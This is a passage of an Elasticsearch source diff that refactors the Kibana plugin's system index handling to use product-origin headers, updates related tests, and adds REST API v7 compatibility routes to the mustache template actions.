a/modules/ingest-user-agent/src/yamlRestTest/resources/rest-api-spec/test/ingest-useragent/20_useragent_processor.yml +++ b/modules/ingest-user-agent/src/yamlRestTest/resources/rest-api-spec/test/ingest-useragent/20_useragent_processor.yml @@ -32,7 +32,6 @@ - match: { _source.user_agent.original: "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_9_2) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/33.0.1750.149 Safari/537.36" } - match: { _source.user_agent.os: {"name":"Mac OS X", "version":"10.9.2", "full":"Mac OS X 10.9.2"} } - match: { _source.user_agent.version: "33.0.1750.149" } - - match: { _source.user_agent.device: {"name": "Mac" }} --- "Test user agent processor with parameters": diff --git a/modules/ingest-user-agent/src/yamlRestTest/resources/rest-api-spec/test/ingest-useragent/30_custom_regex.yml b/modules/ingest-user-agent/src/yamlRestTest/resources/rest-api-spec/test/ingest-useragent/30_custom_regex.yml index 763bea0ee4da0..3d0179d6ad51a 100644 --- a/modules/ingest-user-agent/src/yamlRestTest/resources/rest-api-spec/test/ingest-useragent/30_custom_regex.yml +++ b/modules/ingest-user-agent/src/yamlRestTest/resources/rest-api-spec/test/ingest-useragent/30_custom_regex.yml @@ -30,6 +30,5 @@ id: 1 - match: { _source.field1: "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_9_2) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/33.0.1750.149 Safari/537.36" } - match: { _source.user_agent.name: "Test" } - - match: { _source.user_agent.device: {"name": "Other" }} - is_false: _source.user_agent.os - is_false: _source.user_agent.version diff --git a/modules/kibana/src/javaRestTest/java/org/elasticsearch/kibana/KibanaSystemIndexIT.java b/modules/kibana/src/javaRestTest/java/org/elasticsearch/kibana/KibanaSystemIndexIT.java index 8bcce5b24c4ed..05379770793d0 100644 --- a/modules/kibana/src/javaRestTest/java/org/elasticsearch/kibana/KibanaSystemIndexIT.java +++ b/modules/kibana/src/javaRestTest/java/org/elasticsearch/kibana/KibanaSystemIndexIT.java @@ -44,45 +44,45 @@ public static Iterable data() { } public void testCreateIndex() throws IOException { - Request request = new Request("PUT", "/_kibana/" + indexName); + Request request = request("PUT", "/" + indexName); Response response = client().performRequest(request); assertThat(response.getStatusLine().getStatusCode(), is(200)); } public void testAliases() throws IOException { assumeFalse("In this test, .kibana is the alias name", ".kibana".equals(indexName)); - Request request = new Request("PUT", "/_kibana/" + indexName); + Request request = request("PUT", "/" + indexName); Response response = client().performRequest(request); assertThat(response.getStatusLine().getStatusCode(), is(200)); - request = new Request("PUT", "/_kibana/" + indexName + "/_alias/.kibana"); + request = request("PUT", "/" + indexName + "/_alias/.kibana"); response = client().performRequest(request); assertThat(response.getStatusLine().getStatusCode(), is(200)); - request = new Request("GET", "/_kibana/_aliases"); + request = request("GET", "/_aliases"); response = client().performRequest(request); assertThat(response.getStatusLine().getStatusCode(), is(200)); assertThat(EntityUtils.toString(response.getEntity()), containsString(".kibana")); } public void testBulkToKibanaIndex() throws IOException { - Request request = new Request("POST", "/_kibana/_bulk"); + Request request = request("POST", "/_bulk"); request.setJsonEntity("{ \"index\" : { \"_index\" : \"" + indexName + "\", \"_id\" : \"1\" } }\n{ \"foo\" : \"bar\" }\n"); Response response = client().performRequest(request); assertThat(response.getStatusLine().getStatusCode(), is(200)); } public void testRefresh() throws IOException { - Request request = new Request("POST", "/_kibana/_bulk"); + Request request = request("POST", "/_bulk"); request.setJsonEntity("{ \"index\" : { \"_index\" : \"" + indexName + "\", \"_id\" : \"1\" } }\n{ \"foo\" : \"bar\" }\n"); Response response = client().performRequest(request); assertThat(response.getStatusLine().getStatusCode(), is(200)); - request = new Request("GET", "/_kibana/" + indexName + "/_refresh"); + request = request("GET", "/" + indexName + "/_refresh"); response = client().performRequest(request); assertThat(response.getStatusLine().getStatusCode(), is(200)); - Request getRequest = new Request("GET", "/_kibana/" + indexName + "/_doc/1"); + Request getRequest = request("GET", "/" + indexName + "/_doc/1"); Response getResponse = client().performRequest(getRequest); assertThat(getResponse.getStatusLine().getStatusCode(), is(200)); String responseBody = EntityUtils.toString(getResponse.getEntity()); @@ -91,14 +91,14 @@ public void testRefresh() throws IOException { } public void testGetFromKibanaIndex() throws IOException { - Request request = new Request("POST", "/_kibana/_bulk"); + Request request = request("POST", "/_bulk"); request.setJsonEntity("{ \"index\" : { \"_index\" : \"" + indexName + "\", \"_id\" : \"1\" } }\n{ \"foo\" : \"bar\" }\n"); request.addParameter("refresh", "true"); Response response = client().performRequest(request); assertThat(response.getStatusLine().getStatusCode(), is(200)); - Request getRequest = new Request("GET", "/_kibana/" + indexName + "/_doc/1"); + Request getRequest = request("GET", "/" + indexName + "/_doc/1"); Response getResponse = client().performRequest(getRequest); assertThat(getResponse.getStatusLine().getStatusCode(), is(200)); String responseBody = EntityUtils.toString(getResponse.getEntity()); @@ -107,7 +107,7 @@ public void testGetFromKibanaIndex() throws IOException { } public void testMultiGetFromKibanaIndex() throws IOException { - Request request = new Request("POST", "/_kibana/_bulk"); + Request request = request("POST", "/_bulk"); request.setJsonEntity( "{ \"index\" : { \"_index\" : \"" + indexName @@ -121,7 +121,7 @@ public void testMultiGetFromKibanaIndex() throws IOException { Response response = client().performRequest(request); assertThat(response.getStatusLine().getStatusCode(), is(200)); - Request getRequest = new Request("GET", "/_kibana/_mget"); + Request getRequest = request("GET", "/_mget"); getRequest.setJsonEntity( "{ \"docs\" : [ { \"_index\" : \"" + indexName @@ -140,7 +140,7 @@ public void testMultiGetFromKibanaIndex() throws IOException { } public void testSearchFromKibanaIndex() throws IOException { - Request request = new Request("POST", "/_kibana/_bulk"); + Request request = request("POST", "/_bulk"); request.setJsonEntity( "{ \"index\" : { \"_index\" : \"" + indexName @@ -154,7 +154,7 @@ public void testSearchFromKibanaIndex() throws IOException { Response response = client().performRequest(request); assertThat(response.getStatusLine().getStatusCode(), is(200)); - Request searchRequest = new Request("GET", "/_kibana/" + indexName + "/_search"); + Request searchRequest = request("GET", "/" + indexName + "/_search"); searchRequest.setJsonEntity("{ \"query\" : { \"match_all\" : {} } }\n"); Response getResponse = client().performRequest(searchRequest); assertThat(getResponse.getStatusLine().getStatusCode(), is(200)); @@ -166,7 +166,7 @@ public void testSearchFromKibanaIndex() throws IOException { } public void testDeleteFromKibanaIndex() throws IOException { - Request request = new Request("POST", "/_kibana/_bulk"); + Request request = request("POST", "/_bulk"); request.setJsonEntity( "{ \"index\" : { \"_index\" : \"" + indexName @@ -180,13 +180,13 @@ public void testDeleteFromKibanaIndex() throws IOException { Response response = client().performRequest(request); assertThat(response.getStatusLine().getStatusCode(), is(200)); - Request deleteRequest = new Request("DELETE", "/_kibana/" + indexName + "/_doc/1"); + Request deleteRequest = request("DELETE", "/" + indexName + "/_doc/1"); Response deleteResponse = client().performRequest(deleteRequest); assertThat(deleteResponse.getStatusLine().getStatusCode(), is(200)); } public void testDeleteByQueryFromKibanaIndex() throws IOException { - Request request = new Request("POST", "/_kibana/_bulk"); + Request request = request("POST", "/_bulk"); request.setJsonEntity( "{ \"index\" : { \"_index\" : \"" + indexName @@ -200,62 +200,62 @@ public void testDeleteByQueryFromKibanaIndex() throws IOException { Response response = client().performRequest(request); assertThat(response.getStatusLine().getStatusCode(), is(200)); - Request dbqRequest = new Request("POST", "/_kibana/" + indexName + "/_delete_by_query"); + Request dbqRequest = request("POST", "/" + indexName + "/_delete_by_query"); dbqRequest.setJsonEntity("{ \"query\" : { \"match_all\" : {} } }\n"); Response dbqResponse = client().performRequest(dbqRequest); assertThat(dbqResponse.getStatusLine().getStatusCode(), is(200)); } public void testUpdateIndexSettings() throws IOException { - Request request = new Request("PUT", "/_kibana/" + indexName); + Request request = request("PUT", "/" + indexName); Response response = client().performRequest(request); assertThat(response.getStatusLine().getStatusCode(), is(200)); - request = new Request("PUT", "/_kibana/" + indexName + "/_settings"); + request = request("PUT", "/" + indexName + "/_settings"); request.setJsonEntity("{ \"index.blocks.read_only\" : false }"); response = client().performRequest(request); assertThat(response.getStatusLine().getStatusCode(), is(200)); } public void testGetIndex() throws IOException { - Request request = new Request("PUT", "/_kibana/" + indexName); + Request request = request("PUT", "/" + indexName); Response response = client().performRequest(request); assertThat(response.getStatusLine().getStatusCode(), is(200)); - request = new Request("GET", "/_kibana/" + indexName); + request = request("GET", "/" + indexName); response = client().performRequest(request); assertThat(response.getStatusLine().getStatusCode(), is(200)); assertThat(EntityUtils.toString(response.getEntity()), containsString(indexName)); } public void testIndexingAndUpdatingDocs() throws IOException { - Request request = new Request("PUT", "/_kibana/" + indexName + "/_doc/1"); + Request request = request("PUT", "/" + indexName + "/_doc/1"); request.setJsonEntity("{ \"foo\" : \"bar\" }"); Response response = client().performRequest(request); assertThat(response.getStatusLine().getStatusCode(), is(201)); - request = new Request("PUT", "/_kibana/" + indexName + "/_create/2"); + request = request("PUT", "/" + indexName + "/_create/2"); request.setJsonEntity("{ \"foo\" : \"bar\" }"); response = client().performRequest(request); assertThat(response.getStatusLine().getStatusCode(), is(201)); - request = new Request("POST", "/_kibana/" + indexName + "/_doc"); + request = request("POST", "/" + indexName + "/_doc"); request.setJsonEntity("{ \"foo\" : \"bar\" }"); response = client().performRequest(request); assertThat(response.getStatusLine().getStatusCode(), is(201)); - request = new Request("GET", "/_kibana/" + indexName + "/_refresh"); + request = request("GET", "/" + indexName + "/_refresh"); response = client().performRequest(request); assertThat(response.getStatusLine().getStatusCode(), is(200)); - request = new Request("POST", "/_kibana/" + indexName + "/_update/1"); + request = request("POST", "/" + indexName + "/_update/1"); request.setJsonEntity("{ \"doc\" : { \"foo\" : \"baz\" } }"); response = client().performRequest(request); assertThat(response.getStatusLine().getStatusCode(), is(200)); } public void testScrollingDocs() throws IOException { - Request request = new Request("POST", "/_kibana/_bulk"); + Request request = request("POST", "/_bulk"); request.setJsonEntity( "{ \"index\" : { \"_index\" : \"" + indexName @@ -271,7 +271,7 @@ public void testScrollingDocs() throws IOException { Response response = client().performRequest(request); assertThat(response.getStatusLine().getStatusCode(), is(200)); - Request searchRequest = new Request("GET", "/_kibana/" + indexName + "/_search"); + Request searchRequest = request("GET", "/" + indexName + "/_search"); searchRequest.setJsonEntity("{ \"size\" : 1,\n\"query\" : { \"match_all\" : {} } }\n"); searchRequest.addParameter("scroll", "1m"); response = client().performRequest(searchRequest); @@ -280,7 +280,7 @@ public void testScrollingDocs() throws IOException { assertNotNull(map.get("_scroll_id")); String scrollId = (String) map.get("_scroll_id"); - Request scrollRequest = new Request("POST", "/_kibana/_search/scroll"); + Request scrollRequest = request("POST", "/_search/scroll"); scrollRequest.addParameter("scroll_id", scrollId); scrollRequest.addParameter("scroll", "1m"); response = client().performRequest(scrollRequest); @@ -289,9 +289,15 @@ public void testScrollingDocs() throws IOException { assertNotNull(map.get("_scroll_id")); scrollId = (String) map.get("_scroll_id"); - Request clearScrollRequest = new Request("DELETE", "/_kibana/_search/scroll"); + Request clearScrollRequest = request("DELETE", "/_search/scroll"); clearScrollRequest.addParameter("scroll_id", scrollId); response = client().performRequest(clearScrollRequest); assertThat(response.getStatusLine().getStatusCode(), is(200)); } + + private Request request(String method, String endpoint) { + Request request = new Request(method, endpoint); + request.setOptions(request.getOptions().toBuilder().addHeader("X-elastic-product-origin", "kibana").build()); + return request; + } } diff --git a/modules/kibana/src/main/java/org/elasticsearch/kibana/KibanaPlugin.java b/modules/kibana/src/main/java/org/elasticsearch/kibana/KibanaPlugin.java index 5dc532efbf1a1..4956b5148dc1c 100644 --- a/modules/kibana/src/main/java/org/elasticsearch/kibana/KibanaPlugin.java +++ b/modules/kibana/src/main/java/org/elasticsearch/kibana/KibanaPlugin.java @@ -8,60 +8,56 @@ package org.elasticsearch.kibana; -import org.elasticsearch.cluster.metadata.IndexNameExpressionResolver; -import org.elasticsearch.cluster.node.DiscoveryNodes; -import org.elasticsearch.common.settings.ClusterSettings; -import org.elasticsearch.common.settings.IndexScopedSettings; -import org.elasticsearch.common.settings.Setting; -import org.elasticsearch.common.settings.Setting.Property; import org.elasticsearch.common.settings.Settings; -import org.elasticsearch.common.settings.SettingsFilter; -import org.elasticsearch.index.reindex.RestDeleteByQueryAction; import org.elasticsearch.indices.SystemIndexDescriptor; +import org.elasticsearch.indices.SystemIndexDescriptor.Type; import org.elasticsearch.plugins.Plugin; import org.elasticsearch.plugins.SystemIndexPlugin; -import org.elasticsearch.rest.BaseRestHandler; -import org.elasticsearch.rest.RestController; -import org.elasticsearch.rest.RestHandler; -import org.elasticsearch.rest.action.admin.indices.RestCreateIndexAction; -import org.elasticsearch.rest.action.admin.indices.RestGetAliasesAction; -import org.elasticsearch.rest.action.admin.indices.RestGetIndicesAction; -import org.elasticsearch.rest.action.admin.indices.RestIndexPutAliasAction; -import org.elasticsearch.rest.action.admin.indices.RestRefreshAction; -import org.elasticsearch.rest.action.admin.indices.RestUpdateSettingsAction; -import org.elasticsearch.rest.action.document.RestBulkAction; -import org.elasticsearch.rest.action.document.RestDeleteAction; -import org.elasticsearch.rest.action.document.RestGetAction; -import org.elasticsearch.rest.action.document.RestIndexAction; -import org.elasticsearch.rest.action.document.RestIndexAction.AutoIdHandler; -import org.elasticsearch.rest.action.document.RestIndexAction.CreateHandler; -import org.elasticsearch.rest.action.document.RestMultiGetAction; -import org.elasticsearch.rest.action.document.RestUpdateAction; -import org.elasticsearch.rest.action.search.RestClearScrollAction; -import org.elasticsearch.rest.action.search.RestSearchAction; -import org.elasticsearch.rest.action.search.RestSearchScrollAction; import java.util.Collection; import java.util.List; -import java.util.function.Function; -import java.util.function.Supplier; -import java.util.stream.Collectors; public class KibanaPlugin extends Plugin implements SystemIndexPlugin { - public static final Setting> KIBANA_INDEX_NAMES_SETTING = Setting.listSetting( - "kibana.system_indices", - List.of(".kibana", ".kibana_*", ".reporting-*", ".apm-agent-configuration", ".apm-custom-link"), - Function.identity(), - Property.NodeScope - ); + private static final List KIBANA_PRODUCT_ORIGIN = List.of("kibana"); + + public static final SystemIndexDescriptor KIBANA_INDEX_DESCRIPTOR = SystemIndexDescriptor.builder() + .setIndexPattern(".kibana_*") + .setDescription("Kibana saved objects system index") + .setAliasName(".kibana") + .setType(Type.EXTERNAL_UNMANAGED) + .setAllowedElasticProductOrigins(KIBANA_PRODUCT_ORIGIN) + .build(); + + public static final SystemIndexDescriptor REPORTING_INDEX_DESCRIPTOR = SystemIndexDescriptor.builder() + .setIndexPattern(".reporting-*") + .setDescription("system index for reporting") + .setType(Type.EXTERNAL_UNMANAGED) + .setAllowedElasticProductOrigins(KIBANA_PRODUCT_ORIGIN) + .build(); + + public static final SystemIndexDescriptor APM_AGENT_CONFIG_INDEX_DESCRIPTOR = SystemIndexDescriptor.builder() + .setIndexPattern(".apm-agent-configuration") + .setDescription("system index for APM agent configuration") + .setType(Type.EXTERNAL_UNMANAGED) + .setAllowedElasticProductOrigins(KIBANA_PRODUCT_ORIGIN) + .build(); + + public static final SystemIndexDescriptor APM_CUSTOM_LINK_INDEX_DESCRIPTOR = SystemIndexDescriptor.builder() + .setIndexPattern(".apm-custom-link") + .setDescription("system index for APM custom links") + .setType(Type.EXTERNAL_UNMANAGED) + .setAllowedElasticProductOrigins(KIBANA_PRODUCT_ORIGIN) + .build(); @Override public Collection getSystemIndexDescriptors(Settings settings) { - return KIBANA_INDEX_NAMES_SETTING.get(settings) - .stream() - .map(pattern -> new SystemIndexDescriptor(pattern, "System index used by kibana")) - .collect(Collectors.toUnmodifiableList()); + return List.of( + KIBANA_INDEX_DESCRIPTOR, + REPORTING_INDEX_DESCRIPTOR, + APM_AGENT_CONFIG_INDEX_DESCRIPTOR, + APM_CUSTOM_LINK_INDEX_DESCRIPTOR + ); } @Override @@ -73,75 +69,4 @@ public String getFeatureName() { public String getFeatureDescription() { return "Manages Kibana configuration and reports"; } - - @Override - public List getRestHandlers( - Settings settings, - RestController restController, - ClusterSettings clusterSettings, - IndexScopedSettings indexScopedSettings, - SettingsFilter settingsFilter, - IndexNameExpressionResolver indexNameExpressionResolver, - Supplier nodesInCluster - ) { - // TODO need to figure out what subset of system indices Kibana should have access to via these APIs - return List.of( - // Based on https://github.com/elastic/kibana/issues/49764 - // apis needed to perform migrations... ideally these will go away - new KibanaWrappedRestHandler(new RestCreateIndexAction()), - new KibanaWrappedRestHandler(new RestGetAliasesAction()), - new KibanaWrappedRestHandler(new RestIndexPutAliasAction()), - new KibanaWrappedRestHandler(new RestRefreshAction()), - - // apis needed to access saved objects - new KibanaWrappedRestHandler(new RestGetAction()), - new KibanaWrappedRestHandler(new RestMultiGetAction(settings)), - new KibanaWrappedRestHandler(new RestSearchAction()), - new KibanaWrappedRestHandler(new RestBulkAction(settings)), - new KibanaWrappedRestHandler(new RestDeleteAction()), - new KibanaWrappedRestHandler(new RestDeleteByQueryAction()), - - // api used for testing - new KibanaWrappedRestHandler(new RestUpdateSettingsAction()), - - // apis used specifically by reporting - new KibanaWrappedRestHandler(new RestGetIndicesAction()), - new KibanaWrappedRestHandler(new RestIndexAction()), - new KibanaWrappedRestHandler(new CreateHandler()), - new KibanaWrappedRestHandler(new AutoIdHandler(nodesInCluster)), - new KibanaWrappedRestHandler(new RestUpdateAction()), - new KibanaWrappedRestHandler(new RestSearchScrollAction()), - new KibanaWrappedRestHandler(new RestClearScrollAction()) - ); - - } - - @Override - public List> getSettings() { - return List.of(KIBANA_INDEX_NAMES_SETTING); - } - - static class KibanaWrappedRestHandler extends BaseRestHandler.Wrapper { - - KibanaWrappedRestHandler(BaseRestHandler delegate) { - super(delegate); - } - - @Override - public String getName() { - return "kibana_" + super.getName(); - } - - @Override - public boolean allowSystemIndexAccessByDefault() { - return true; - } - - @Override - public List routes() { - return super.routes().stream() - .map(route -> new Route(route.getMethod(), "/_kibana" + route.getPath())) - .collect(Collectors.toUnmodifiableList()); - } - } } diff --git a/modules/kibana/src/test/java/org/elasticsearch/kibana/KibanaPluginTests.java b/modules/kibana/src/test/java/org/elasticsearch/kibana/KibanaPluginTests.java index c34bf9fe6c4f7..0f8b9ba7071cc 100644 --- a/modules/kibana/src/test/java/org/elasticsearch/kibana/KibanaPluginTests.java +++ b/modules/kibana/src/test/java/org/elasticsearch/kibana/KibanaPluginTests.java @@ -12,35 +12,19 @@ import org.elasticsearch.indices.SystemIndexDescriptor; import org.elasticsearch.test.ESTestCase; -import java.util.List; import java.util.stream.Collectors; import static org.hamcrest.Matchers.contains; -import static org.hamcrest.Matchers.is; public class KibanaPluginTests extends ESTestCase { public void testKibanaIndexNames() { - assertThat(new KibanaPlugin().getSettings(), contains(KibanaPlugin.KIBANA_INDEX_NAMES_SETTING)); assertThat( new KibanaPlugin().getSystemIndexDescriptors(Settings.EMPTY) .stream() .map(SystemIndexDescriptor::getIndexPattern) .collect(Collectors.toUnmodifiableList()), - contains(".kibana", ".kibana_*", ".reporting-*", ".apm-agent-configuration", ".apm-custom-link") - ); - - final List names = List.of("." + randomAlphaOfLength(4), "." + randomAlphaOfLength(5)); - final List namesFromDescriptors = new KibanaPlugin().getSystemIndexDescriptors( - Settings.builder().putList(KibanaPlugin.KIBANA_INDEX_NAMES_SETTING.getKey(), names).build() - ).stream().map(SystemIndexDescriptor::getIndexPattern).collect(Collectors.toUnmodifiableList()); - assertThat(namesFromDescriptors, is(names)); - - assertThat( - new KibanaPlugin().getSystemIndexDescriptors(Settings.EMPTY) - .stream() - .anyMatch(systemIndexDescriptor -> systemIndexDescriptor.matchesIndexPattern(".kibana-event-log-7-1")), - is(false) + contains(".kibana_*", ".reporting-*", ".apm-agent-configuration", ".apm-custom-link") ); } } diff --git a/modules/lang-expression/build.gradle b/modules/lang-expression/build.gradle index 4b97ef909b7b2..a73c929be0d48 100644 --- a/modules/lang-expression/build.gradle +++ b/modules/lang-expression/build.gradle @@ -6,6 +6,7 @@ * Side Public License, v 1. */ apply plugin: 'elasticsearch.yaml-rest-test' +apply plugin: 'elasticsearch.yaml-rest-compat-test' apply plugin: 'elasticsearch.internal-cluster-test' esplugin { @@ -22,7 +23,7 @@ dependencies { } restResources { restApi { - includeCore '_common', 'indices', 'index', 'cluster', 'nodes', 'search' + include '_common', 'indices', 'index', 'cluster', 'nodes', 'search' } } diff --git a/modules/lang-expression/licenses/lucene-expressions-8.8.0.jar.sha1 b/modules/lang-expression/licenses/lucene-expressions-8.8.0.jar.sha1 deleted file mode 100644 index 8896bc474f3ac..0000000000000 --- a/modules/lang-expression/licenses/lucene-expressions-8.8.0.jar.sha1 +++ /dev/null @@ -1 +0,0 @@ -a15e934a4b798229573c1137460f9e7cda27737c \ No newline at end of file diff --git a/modules/lang-expression/licenses/lucene-expressions-8.9.0-snapshot-efdc43fee18.jar.sha1 b/modules/lang-expression/licenses/lucene-expressions-8.9.0-snapshot-efdc43fee18.jar.sha1 new file mode 100644 index 0000000000000..2385f70de245f --- /dev/null +++ b/modules/lang-expression/licenses/lucene-expressions-8.9.0-snapshot-efdc43fee18.jar.sha1 @@ -0,0 +1 @@ +a6b63a12259d51a1595d7e66131f79866ba5c77a \ No newline at end of file diff --git a/modules/lang-expression/src/internalClusterTest/java/org/elasticsearch/script/expression/StoredExpressionIT.java b/modules/lang-expression/src/internalClusterTest/java/org/elasticsearch/script/expression/StoredExpressionIT.java index fdd2e84ef0c88..a82f2dde12477 100644 --- a/modules/lang-expression/src/internalClusterTest/java/org/elasticsearch/script/expression/StoredExpressionIT.java +++ b/modules/lang-expression/src/internalClusterTest/java/org/elasticsearch/script/expression/StoredExpressionIT.java @@ -27,8 +27,8 @@ //TODO: please convert to unit tests! public class StoredExpressionIT extends ESIntegTestCase { @Override - protected Settings nodeSettings(int nodeOrdinal) { - Settings.Builder builder = Settings.builder().put(super.nodeSettings(nodeOrdinal)); + protected Settings nodeSettings(int nodeOrdinal, Settings otherSettings) { + Settings.Builder builder = Settings.builder().put(super.nodeSettings(nodeOrdinal, otherSettings)); builder.put("script.allowed_contexts", "update"); return builder.build(); } diff --git a/modules/lang-mustache/build.gradle b/modules/lang-mustache/build.gradle index dff811404609c..319061d6c5a3b 100644 --- a/modules/lang-mustache/build.gradle +++ b/modules/lang-mustache/build.gradle @@ -6,6 +6,7 @@ * Side Public License, v 1. */ apply plugin: 'elasticsearch.yaml-rest-test' +apply plugin: 'elasticsearch.yaml-rest-compat-test' apply plugin: 'elasticsearch.java-rest-test' apply plugin: 'elasticsearch.internal-cluster-test' @@ -20,7 +21,14 @@ dependencies { restResources { restApi { - includeCore '_common', 'cluster', 'nodes', 'indices', 'index', 'bulk', + include '_common', 'cluster', 'nodes', 'indices', 'index', 'bulk', 'put_script', 'render_search_template', 'search_template', 'msearch_template', 'lang_mustache' } } + +tasks.named("yamlRestCompatTest").configure { + systemProperty 'tests.rest.blacklist', [ + 'lang_mustache/60_typed_keys/Multisearch template with typed_keys parameter', + 'lang_mustache/60_typed_keys/Search template with typed_keys parameter' + ].join(',') +} diff --git a/modules/lang-mustache/src/main/java/org/elasticsearch/script/mustache/MustacheScriptEngine.java b/modules/lang-mustache/src/main/java/org/elasticsearch/script/mustache/MustacheScriptEngine.java index 202e16c2415a9..659d385ec2b47 100644 --- a/modules/lang-mustache/src/main/java/org/elasticsearch/script/mustache/MustacheScriptEngine.java +++ b/modules/lang-mustache/src/main/java/org/elasticsearch/script/mustache/MustacheScriptEngine.java @@ -75,7 +75,7 @@ public T compile( @Override public Set> getSupportedContexts() { - return Set.of(TemplateScript.CONTEXT); + return Set.of(TemplateScript.CONTEXT, TemplateScript.INGEST_CONTEXT); } private CustomMustacheFactory createMustacheFactory(Map options) { diff --git a/modules/lang-mustache/src/main/java/org/elasticsearch/script/mustache/RestMultiSearchTemplateAction.java b/modules/lang-mustache/src/main/java/org/elasticsearch/script/mustache/RestMultiSearchTemplateAction.java index c5d19c21e3969..7ea8fc487ba53 100644 --- a/modules/lang-mustache/src/main/java/org/elasticsearch/script/mustache/RestMultiSearchTemplateAction.java +++ b/modules/lang-mustache/src/main/java/org/elasticsearch/script/mustache/RestMultiSearchTemplateAction.java @@ -9,6 +9,7 @@ package org.elasticsearch.script.mustache; import org.elasticsearch.client.node.NodeClient; +import org.elasticsearch.common.RestApiVersion; import org.elasticsearch.common.settings.Settings; import org.elasticsearch.rest.BaseRestHandler; import org.elasticsearch.rest.RestRequest; @@ -27,7 +28,8 @@ import static org.elasticsearch.rest.RestRequest.Method.POST; public class RestMultiSearchTemplateAction extends BaseRestHandler { - + static final String TYPES_DEPRECATION_MESSAGE = "[types removal]" + + " Specifying types in multi search template requests is deprecated."; private static final Set RESPONSE_PARAMS; static { @@ -50,7 +52,13 @@ public List routes() { new Route(GET, "/_msearch/template"), new Route(POST, "/_msearch/template"), new Route(GET, "/{index}/_msearch/template"), - new Route(POST, "/{index}/_msearch/template")); + new Route(POST, "/{index}/_msearch/template"), + Route.builder(GET, "/{index}/{type}/_msearch/template") + .deprecated(TYPES_DEPRECATION_MESSAGE, RestApiVersion.V_7) + .build(), + Route.builder(POST, "/{index}/{type}/_msearch/template") + .deprecated(TYPES_DEPRECATION_MESSAGE, RestApiVersion.V_7) + .build()); } @Override @@ -68,6 +76,10 @@ public RestChannelConsumer prepareRequest(RestRequest request, NodeClient client * Parses a {@link RestRequest} body and returns a {@link MultiSearchTemplateRequest} */ public static MultiSearchTemplateRequest parseRequest(RestRequest restRequest, boolean allowExplicitIndex) throws IOException { + if (restRequest.getRestApiVersion() == RestApiVersion.V_7 && restRequest.hasParam("type")) { + restRequest.param("type"); + } + MultiSearchTemplateRequest multiRequest = new MultiSearchTemplateRequest(); if (restRequest.hasParam("max_concurrent_searches")) { multiRequest.maxConcurrentSearchRequests(restRequest.paramAsInt("max_concurrent_searches", 0)); diff --git a/modules/lang-mustache/src/main/java/org/elasticsearch/script/mustache/RestSearchTemplateAction.java b/modules/lang-mustache/src/main/java/org/elasticsearch/script/mustache/RestSearchTemplateAction.java index 4758e33ebce42..e0ca843223a23 100644 --- a/modules/lang-mustache/src/main/java/org/elasticsearch/script/mustache/RestSearchTemplateAction.java +++ b/modules/lang-mustache/src/main/java/org/elasticsearch/script/mustache/RestSearchTemplateAction.java @@ -10,6 +10,7 @@ import org.elasticsearch.action.search.SearchRequest; import org.elasticsearch.client.node.NodeClient; +import org.elasticsearch.common.RestApiVersion; import org.elasticsearch.common.xcontent.XContentParser; import org.elasticsearch.rest.BaseRestHandler; import org.elasticsearch.rest.RestRequest; @@ -27,6 +28,7 @@ import static org.elasticsearch.rest.RestRequest.Method.POST; public class RestSearchTemplateAction extends BaseRestHandler { + public static final String TYPED_KEYS_PARAM = "typed_keys"; private static final Set RESPONSE_PARAMS; @@ -41,7 +43,13 @@ public List routes() { new Route(GET, "/_search/template"), new Route(POST, "/_search/template"), new Route(GET, "/{index}/_search/template"), - new Route(POST, "/{index}/_search/template")); + new Route(POST, "/{index}/_search/template"), + Route.builder(GET, "/{index}/{type}/_search/template") + .deprecated(RestSearchAction.TYPES_DEPRECATION_MESSAGE, RestApiVersion.V_7) + .build(), + Route.builder(POST, "/{index}/{type}/_search/template") + .deprecated(RestSearchAction.TYPES_DEPRECATION_MESSAGE, RestApiVersion.V_7) + .build()); } @Override diff --git a/modules/lang-mustache/src/main/java/org/elasticsearch/script/mustache/TransportSearchTemplateAction.java b/modules/lang-mustache/src/main/java/org/elasticsearch/script/mustache/TransportSearchTemplateAction.java index e98b31920dfcb..21f16be87431a 100644 --- a/modules/lang-mustache/src/main/java/org/elasticsearch/script/mustache/TransportSearchTemplateAction.java +++ b/modules/lang-mustache/src/main/java/org/elasticsearch/script/mustache/TransportSearchTemplateAction.java @@ -10,7 +10,6 @@ import org.elasticsearch.action.ActionListener; import org.elasticsearch.action.search.SearchRequest; -import org.elasticsearch.action.search.SearchResponse; import org.elasticsearch.action.support.ActionFilters; import org.elasticsearch.action.support.HandledTransportAction; import org.elasticsearch.client.node.NodeClient; @@ -57,22 +56,14 @@ protected void doExecute(Task task, SearchTemplateRequest request, ActionListene try { SearchRequest searchRequest = convert(request, response, scriptService, xContentRegistry); if (searchRequest != null) { - client.search(searchRequest, new ActionListener() { - @Override - public void onResponse(SearchResponse searchResponse) { - try { - response.setResponse(searchResponse); - listener.onResponse(response); - } catch (Exception t) { - listener.onFailure(t); - } + client.search(searchRequest, listener.delegateFailure((l, searchResponse) -> { + try { + response.setResponse(searchResponse); + l.onResponse(response); + } catch (Exception t) { + l.onFailure(t); } - - @Override - public void onFailure(Exception t) { - listener.onFailure(t); - } - }); + })); } else { listener.onResponse(response); } diff --git a/modules/lang-mustache/src/test/java/org/elasticsearch/script/mustache/RestMultiSearchTemplateActionTests.java b/modules/lang-mustache/src/test/java/org/elasticsearch/script/mustache/RestMultiSearchTemplateActionTests.java new file mode 100644 index 0000000000000..32f4cecd89c23 --- /dev/null +++ b/modules/lang-mustache/src/test/java/org/elasticsearch/script/mustache/RestMultiSearchTemplateActionTests.java @@ -0,0 +1,67 @@ +/* + * Copyright Elasticsearch B.V. and/or licensed to Elasticsearch B.V. under one + * or more contributor license agreements. Licensed under the Elastic License + * 2.0 and the Server Side Public License, v 1; you may not use this file except + * in compliance with, at your election, the Elastic License 2.0 or the Server + * Side Public License, v 1. + */ + +package org.elasticsearch.script.mustache; + +import org.elasticsearch.common.RestApiVersion; +import org.elasticsearch.common.bytes.BytesArray; +import org.elasticsearch.common.settings.Settings; +import org.elasticsearch.common.xcontent.XContentType; +import org.elasticsearch.rest.RestRequest; +import org.elasticsearch.test.rest.FakeRestRequest; +import org.elasticsearch.test.rest.RestActionTestCase; +import org.junit.Before; +import org.mockito.Mockito; + +import java.nio.charset.StandardCharsets; +import java.util.Collections; +import java.util.List; +import java.util.Map; + +public class RestMultiSearchTemplateActionTests extends RestActionTestCase { + final List contentTypeHeader = Collections.singletonList(compatibleMediaType(XContentType.VND_JSON, 